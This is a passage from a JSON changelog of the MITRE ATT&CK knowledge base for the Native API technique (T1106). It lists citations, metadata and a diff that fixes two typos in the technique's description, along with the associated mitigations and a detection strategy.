                            "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
                            "url": "https://developer.apple.com/documentation/foundation"
                        },
                        {
                            "source_name": "OutFlank System Calls",
                            "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
                            "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
                        },
                        {
                            "source_name": "Redops Syscalls",
                            "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
                            "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"
                        },
                        {
                            "source_name": "GNU Fork",
                            "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
                            "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"
                        },
                        {
                            "source_name": "CyberBit System Calls",
                            "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
                            "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
                        },
                        {
                            "source_name": "GLIBC",
                            "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
                            "url": "https://www.gnu.org/software/libc/"
                        },
                        {
                            "source_name": "LIBC",
                            "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
                            "url": "https://man7.org/linux/man-pages//man7/libc.7.html"
                        },
                        {
                            "source_name": "Linux Kernel API",
                            "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
                            "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
                        },
                        {
                            "source_name": "MDSec System Calls",
                            "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
                            "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
                        },
                        {
                            "source_name": "Microsoft CreateProcess",
                            "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                            "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
                        },
                        {
                            "source_name": "Microsoft Win32",
                            "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
                            "url": "https://docs.microsoft.com/en-us/windows/win32/api/"
                        },
                        {
                            "source_name": "Microsoft NET",
                            "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
                            "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
                        },
                        {
                            "source_name": "NT API Windows",
                            "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
                            "url": "https://undocumented.ntinternals.net/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Gordon Long, LegioX/Zoom, asaurusrex",
                        "Stefan Kanthak",
                        "Tristan Madani (Cybereason)"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "2.3",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:33:34.331000+00:00\", \"old_value\": \"2026-09-11 19:38:58.040000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n\\nNative API functions (such as <code>NtCreateProcess</code>) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\", \"old_value\": \"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n\\nNative API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\", \"diff\": \"--- \\n+++ \\n@@ -2,8 +2,8 @@\\n \\n Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\\n \\n-Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n+Native API functions (such as <code>NtCreateProcess</code>) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n \\n Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n \\n-Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\\n+Adversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685).\"}}}",
                    "previous_version": "2.3",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to106__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to106__0\"><a href=\"#difflib_chg_to106__top\">t</a></td><td class=\"diff_header\" id=\"from106_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;interact&nbsp;with&nbsp;the&nbsp;native&nbsp;OS&nbsp;application&nbsp;prog</td><td class=\"diff_next\"><a href=\"#difflib_chg_to106__top\">t</a></td><td class=\"diff_header\" id=\"to106_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;interact&nbsp;with&nbsp;the&nbsp;native&nbsp;OS&nbsp;application&nbsp;prog</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ramming&nbsp;interface&nbsp;(API)&nbsp;to&nbsp;execute&nbsp;behaviors.&nbsp;Native&nbsp;APIs&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ramming&nbsp;interface&nbsp;(API)&nbsp;to&nbsp;execute&nbsp;behaviors.&nbsp;Native&nbsp;APIs&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ovide&nbsp;a&nbsp;controlled&nbsp;means&nbsp;of&nbsp;calling&nbsp;low-level&nbsp;OS&nbsp;services&nbsp;wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ovide&nbsp;a&nbsp;controlled&nbsp;means&nbsp;of&nbsp;calling&nbsp;low-level&nbsp;OS&nbsp;services&nbsp;wi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">thin&nbsp;the&nbsp;kernel,&nbsp;such&nbsp;as&nbsp;those&nbsp;involving&nbsp;hardware/devices,&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">thin&nbsp;the&nbsp;kernel,&nbsp;such&nbsp;as&nbsp;those&nbsp;involving&nbsp;hardware/devices,&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emory,&nbsp;and&nbsp;processes.(Citation:&nbsp;NT&nbsp;API&nbsp;Windows)(Citation:&nbsp;Li</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">emory,&nbsp;and&nbsp;processes.(Citation:&nbsp;NT&nbsp;API&nbsp;Windows)(Citation:&nbsp;Li</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nux&nbsp;Kernel&nbsp;API)&nbsp;These&nbsp;native&nbsp;APIs&nbsp;are&nbsp;leveraged&nbsp;by&nbsp;the&nbsp;OS&nbsp;du</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nux&nbsp;Kernel&nbsp;API)&nbsp;These&nbsp;native&nbsp;APIs&nbsp;are&nbsp;leveraged&nbsp;by&nbsp;the&nbsp;OS&nbsp;du</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ring&nbsp;system&nbsp;boot&nbsp;(when&nbsp;other&nbsp;system&nbsp;components&nbsp;are&nbsp;not&nbsp;yet&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ring&nbsp;system&nbsp;boot&nbsp;(when&nbsp;other&nbsp;system&nbsp;components&nbsp;are&nbsp;not&nbsp;yet&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nitialized)&nbsp;as&nbsp;well&nbsp;as&nbsp;carrying&nbsp;out&nbsp;tasks&nbsp;and&nbsp;requests&nbsp;durin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nitialized)&nbsp;as&nbsp;well&nbsp;as&nbsp;carrying&nbsp;out&nbsp;tasks&nbsp;and&nbsp;requests&nbsp;durin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;routine&nbsp;operations.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;these&nbsp;OS&nbsp;API&nbsp;fu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;routine&nbsp;operations.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;these&nbsp;OS&nbsp;API&nbsp;fu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctions&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;executing&nbsp;behaviors.&nbsp;Similar&nbsp;to&nbsp;[Comma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nctions&nbsp;as&nbsp;a&nbsp;means&nbsp;of&nbsp;executing&nbsp;behaviors.&nbsp;Similar&nbsp;to&nbsp;[Comma</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attack.mitre.org/techn</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;and&nbsp;Scripting&nbsp;Interpreter](https://attack.mitre.org/techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1059),&nbsp;the&nbsp;native&nbsp;API&nbsp;and&nbsp;its&nbsp;hierarchy&nbsp;of&nbsp;interfaces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">iques/T1059),&nbsp;the&nbsp;native&nbsp;API&nbsp;and&nbsp;its&nbsp;hierarchy&nbsp;of&nbsp;interfaces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;provide&nbsp;mechanisms&nbsp;to&nbsp;interact&nbsp;with&nbsp;and&nbsp;utilize&nbsp;various&nbsp;com</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;provide&nbsp;mechanisms&nbsp;to&nbsp;interact&nbsp;with&nbsp;and&nbsp;utilize&nbsp;various&nbsp;com</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ponents&nbsp;of&nbsp;a&nbsp;victimized&nbsp;system.&nbsp;&nbsp;Native&nbsp;API&nbsp;functions&nbsp;(such&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ponents&nbsp;of&nbsp;a&nbsp;victimized&nbsp;system.&nbsp;&nbsp;Native&nbsp;API&nbsp;functions&nbsp;(such&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;&lt;code&gt;NtCreateProcess&lt;/code&gt;)&nbsp;may&nbsp;be&nbsp;direct<span class=\"diff_chg\">ed</span>&nbsp;invoked&nbsp;via</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;&lt;code&gt;NtCreateProcess&lt;/code&gt;)&nbsp;may&nbsp;be&nbsp;direct<span class=\"diff_chg\">ly</span>&nbsp;invoked&nbsp;via</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;calls&nbsp;/&nbsp;syscalls,&nbsp;but&nbsp;these&nbsp;features&nbsp;are&nbsp;also&nbsp;often&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;calls&nbsp;/&nbsp;syscalls,&nbsp;but&nbsp;these&nbsp;features&nbsp;are&nbsp;also&nbsp;often&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exposed&nbsp;to&nbsp;user-mode&nbsp;applications&nbsp;via&nbsp;interfaces&nbsp;and&nbsp;librari</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exposed&nbsp;to&nbsp;user-mode&nbsp;applications&nbsp;via&nbsp;interfaces&nbsp;and&nbsp;librari</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.(Citation:&nbsp;OutFlank&nbsp;System&nbsp;Calls)(Citation:&nbsp;CyberBit&nbsp;Syst</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es.(Citation:&nbsp;OutFlank&nbsp;System&nbsp;Calls)(Citation:&nbsp;CyberBit&nbsp;Syst</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;Calls)(Citation:&nbsp;MDSec&nbsp;System&nbsp;Calls)&nbsp;For&nbsp;example,&nbsp;functio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">em&nbsp;Calls)(Citation:&nbsp;MDSec&nbsp;System&nbsp;Calls)&nbsp;For&nbsp;example,&nbsp;functio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;such&nbsp;as&nbsp;the&nbsp;Windows&nbsp;API&nbsp;&lt;code&gt;CreateProcess()&lt;/code&gt;&nbsp;or&nbsp;G</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ns&nbsp;such&nbsp;as&nbsp;the&nbsp;Windows&nbsp;API&nbsp;&lt;code&gt;CreateProcess()&lt;/code&gt;&nbsp;or&nbsp;G</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NU&nbsp;&lt;code&gt;fork()&lt;/code&gt;&nbsp;will&nbsp;allow&nbsp;programs&nbsp;and&nbsp;scripts&nbsp;to&nbsp;st</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">NU&nbsp;&lt;code&gt;fork()&lt;/code&gt;&nbsp;will&nbsp;allow&nbsp;programs&nbsp;and&nbsp;scripts&nbsp;to&nbsp;st</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">art&nbsp;other&nbsp;processes.(Citation:&nbsp;Microsoft&nbsp;CreateProcess)(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">art&nbsp;other&nbsp;processes.(Citation:&nbsp;Microsoft&nbsp;CreateProcess)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;GNU&nbsp;Fork)&nbsp;This&nbsp;may&nbsp;allow&nbsp;API&nbsp;callers&nbsp;to&nbsp;execute&nbsp;a&nbsp;bina</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;GNU&nbsp;Fork)&nbsp;This&nbsp;may&nbsp;allow&nbsp;API&nbsp;callers&nbsp;to&nbsp;execute&nbsp;a&nbsp;bina</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry,&nbsp;run&nbsp;a&nbsp;CLI&nbsp;command,&nbsp;load&nbsp;modules,&nbsp;etc.&nbsp;as&nbsp;thousands&nbsp;of&nbsp;si</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ry,&nbsp;run&nbsp;a&nbsp;CLI&nbsp;command,&nbsp;load&nbsp;modules,&nbsp;etc.&nbsp;as&nbsp;thousands&nbsp;of&nbsp;si</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">milar&nbsp;API&nbsp;functions&nbsp;exist&nbsp;for&nbsp;various&nbsp;system&nbsp;operations.(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">milar&nbsp;API&nbsp;functions&nbsp;exist&nbsp;for&nbsp;various&nbsp;system&nbsp;operations.(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Microsoft&nbsp;Win32)(Citation:&nbsp;LIBC)(Citation:&nbsp;GLIBC)&nbsp;&nbsp;Hi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Microsoft&nbsp;Win32)(Citation:&nbsp;LIBC)(Citation:&nbsp;GLIBC)&nbsp;&nbsp;Hi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gher&nbsp;level&nbsp;software&nbsp;frameworks,&nbsp;such&nbsp;as&nbsp;Microsoft&nbsp;.NET&nbsp;and&nbsp;m</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">gher&nbsp;level&nbsp;software&nbsp;frameworks,&nbsp;such&nbsp;as&nbsp;Microsoft&nbsp;.NET&nbsp;and&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acOS&nbsp;Cocoa,&nbsp;are&nbsp;also&nbsp;available&nbsp;to&nbsp;interact&nbsp;with&nbsp;native&nbsp;APIs.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">acOS&nbsp;Cocoa,&nbsp;are&nbsp;also&nbsp;available&nbsp;to&nbsp;interact&nbsp;with&nbsp;native&nbsp;APIs.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;These&nbsp;frameworks&nbsp;typically&nbsp;provide&nbsp;language&nbsp;wrappers/abstra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;These&nbsp;frameworks&nbsp;typically&nbsp;provide&nbsp;language&nbsp;wrappers/abstra</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions&nbsp;to&nbsp;API&nbsp;functionalities&nbsp;and&nbsp;are&nbsp;designed&nbsp;for&nbsp;ease-of-u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctions&nbsp;to&nbsp;API&nbsp;functionalities&nbsp;and&nbsp;are&nbsp;designed&nbsp;for&nbsp;ease-of-u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se/portability&nbsp;of&nbsp;code.(Citation:&nbsp;Microsoft&nbsp;NET)(Citation:&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">se/portability&nbsp;of&nbsp;code.(Citation:&nbsp;Microsoft&nbsp;NET)(Citation:&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pple&nbsp;Core&nbsp;Services)(Citation:&nbsp;MACOS&nbsp;Cocoa)(Citation:&nbsp;macOS&nbsp;F</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pple&nbsp;Core&nbsp;Services)(Citation:&nbsp;MACOS&nbsp;Cocoa)(Citation:&nbsp;macOS&nbsp;F</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oundation)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;assembly&nbsp;to&nbsp;directly&nbsp;or&nbsp;in<span class=\"diff_chg\">-d</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oundation)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;use&nbsp;assembly&nbsp;to&nbsp;directly&nbsp;or&nbsp;in<span class=\"diff_chg\">di</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">irectly</span>&nbsp;invoke&nbsp;syscalls&nbsp;in&nbsp;an&nbsp;attempt&nbsp;to&nbsp;subvert&nbsp;defensive&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">rectly</span>&nbsp;invoke&nbsp;syscalls&nbsp;in&nbsp;an&nbsp;attempt&nbsp;to&nbsp;subvert&nbsp;defensive&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ensors&nbsp;and&nbsp;detection&nbsp;signatures&nbsp;such&nbsp;as&nbsp;user&nbsp;mode&nbsp;API-hooks.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nsors&nbsp;and&nbsp;detection&nbsp;signatures&nbsp;such&nbsp;as&nbsp;user&nbsp;mode&nbsp;API-hooks.(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;Redops&nbsp;Syscalls)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;attempt&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Redops&nbsp;Syscalls)&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;attempt&nbsp;to&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tamper&nbsp;with&nbsp;sensors&nbsp;and&nbsp;defensive&nbsp;tools&nbsp;associated&nbsp;with&nbsp;API&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">amper&nbsp;with&nbsp;sensors&nbsp;and&nbsp;defensive&nbsp;tools&nbsp;associated&nbsp;with&nbsp;API&nbsp;m</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">monitoring,&nbsp;such&nbsp;as&nbsp;unhooking&nbsp;monitored&nbsp;functions&nbsp;via&nbsp;[Disab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onitoring,&nbsp;such&nbsp;as&nbsp;unhooking&nbsp;monitored&nbsp;functions&nbsp;via&nbsp;[Disabl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;or&nbsp;Modify&nbsp;Tools](https://attack.mitre.org/techniques/T168</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;or&nbsp;Modify&nbsp;Tools](https://attack.mitre.org/techniques/T1685</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">5).</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1038: Execution Prevention",
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0529: Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
